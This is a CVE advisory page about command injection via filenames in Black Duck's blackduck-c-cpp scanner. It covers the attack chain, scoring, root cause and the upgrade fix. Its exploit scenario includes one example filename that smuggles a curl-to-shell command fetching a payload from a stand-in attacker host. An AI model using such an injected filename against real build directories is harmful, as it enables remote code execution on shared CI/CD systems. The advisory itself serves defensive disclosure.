Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain write access to scanned build directory
-
DeliveryCreate file with shell metacharacters in filename
-
ExploitWait for or trigger blackduck-c-cpp scan run
-
ExecutionUnescaped path string interpolated into shell command
-
ImpactExecute arbitrary OS commands as scan service account
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The attacker must have the ability to create a file or directory within the build directory that blackduck-c-cpp is configured to scan. No access to the scanner's configuration files, build scripts, environment variables, or credentials is required - filesystem write access to the scanned directory is the sole prerequisite. A scan must occur after the malicious file is placed, whether triggered manually, by a CI/CD event, or on a scheduled basis. Exploitation is limited to actors with local or shared filesystem access to the build directory; a purely remote attacker without such access cannot exploit this vulnerability directly. The CVSS 4.0 AT:P metric explicitly captures this specific attack requirement. Limiting factors: local filesystem access required, the scan must subsequently execute, and the technique does not apply to directories the tool is not configured to scan. |
| Impact | The CVSS 4.0 vector (AV:L/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N, score 7.5) accurately characterizes the risk: local access is required (AV:L), no complexity beyond creating a file is involved (AC:L), but a specific attack precondition exists (AT:P - write access to the build directory). No EPSS data was provided, and the vulnerability carries no CISA KEV listing, indicating no confirmed widespread active exploitation at time of analysis. Despite the absence of a public proof-of-concept, the technique is extremely well understood; shell metacharacter injection is one of the most documented exploit classes and requires no sophisticated tooling. Real-world risk is highest in shared CI/CD pipelines where multiple developers, automated processes, or dependency-fetching scripts write to build directories and the scanner runs under a service account with broader system permissions than any individual contributor. In tightly controlled, single-operator environments where only the scan account controls the build directory, the attack surface is effectively self-contained. No CVSS 3.1 vector was supplied by the vendor; the independent assessment below reflects the local-access prerequisite and potential privilege boundary crossing. |
| Exploit ScenarioDerived | An attacker with write access to a build directory targeted by blackduck-c-cpp creates a file named with embedded shell metacharacters, for example a C source file named 'foo;curl http://attacker.example/payload|sh;.c'. When the scanner traverses the directory during its next scan run, it constructs a shell command incorporating the raw filename, causing the shell to execute the injected curl pipeline as the service account running the scan. No public proof-of-concept code is confirmed, but the technique is a textbook OS command injection and is reproducible by anyone with basic shell scripting familiarity. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 24, 2026
Command injection in Black Duck blackduck-c-cpp before version 3.0.7 enables any actor with write access to a scanned build directory to execute arbitrary OS commands as the account running the scan. The scanner's package manager component traverses the build directory and incorporates discovered filesystem paths into shell command strings without quoting or escaping, making any file or directory whose name contains shell metacharacters an effective injection vector. No public exploit code or active exploitation is confirmed at time of analysis, but the mechanic is standard shell injection requiring no specialized tooling, making this a meaningful risk in shared CI/CD environments where untrusted parties can write to scanned directories.
RemediationAI
Upgrade blackduck-c-cpp to version 3.0.7 or later, which is the vendor-confirmed fix version. The package can be updated via pip with 'pip install --upgrade blackduck-c-cpp'. The authoritative vendor advisory is at https://community.blackduck.com/s/article/Black-Duck-Product-Security-Advisory-CVE-2026-76054-CVE-2026-76055. If immediate upgrade is not feasible, restrict write access to scanned build directories to only the account that runs the scan, preventing untrusted actors or automated services from placing files with shell metacharacters in their names; note that this workaround may be operationally disruptive in multi-service CI/CD pipelines where multiple actors legitimately write to shared build trees. Verify the installed version with 'pip show blackduck-c-cpp' before relying on any workaround.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
blackduck-c-cpp (CPE: cpe:2.3:a:black_duck:blackduck-c-cpp:*:*:*:*:*:*:*:*) is a Python-based software composition analysis tool for C/C++ projects distributed via PyPI. Its package manager component traverses the scanned build directory, collects filesystem paths, and interpolates those paths directly into shell command strings without applying shell quoting or escaping. The root cause class is CWE-78 (Improper Neutralization of Special Elements used in an OS Command): when a path contains shell metacharacters such as semicolons, backticks, pipe symbols, or dollar signs, the shell tokenizes and executes the injected content as a separate command rather than treating the path as a literal string. This is a classic unsanitized input-to-shell pattern; the vulnerable surface is any filename or directory name the tool encounters during traversal.
Know when Blackduck C Cpp gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N
AV:L and PR:N reflect local file-write prerequisite with no scanner credentials needed; S:C because the scan account typically exceeds the file-creator's privilege in CI/CD environments.
Primary rating from Vendor (BlackDuck).
CVSS VectorVendor: BlackDuck
Lifecycle Timeline
2DescriptionCVE.org
Improper Neutralization of Special Elements used in an OS Command in the package manager component of Black Duck blackduck-c-cpp before 3.0.7 allows an actor able to create a file within the scanned build directory to execute operating system commands as the account running the scan.
Filesystem paths encountered while traversing the scanned directory are interpolated into command strings that are executed through a shell without quoting or escaping, so shell metacharacters within those paths are interpreted rather than treated as literal text. No control over the build command or the tool's configuration is required.
Executive ViewAI
Organizations using Black Duck for C/C++ package scanning (versions before 3.0.7) face risk of build infrastructure compromise: attackers with write access to build directories can inject malicious commands executed under the scanner's account, enabling artifact tampering and lateral movement through CI/CD systems.
Apply vendor patch (version 3.0.7 or later). Interim mitigation pending deployment: restrict write access to scanned build directories to authorized CI/CD systems only.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
EUVD-2026-64896
GHSA-xgr7-5g33-wgpv
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB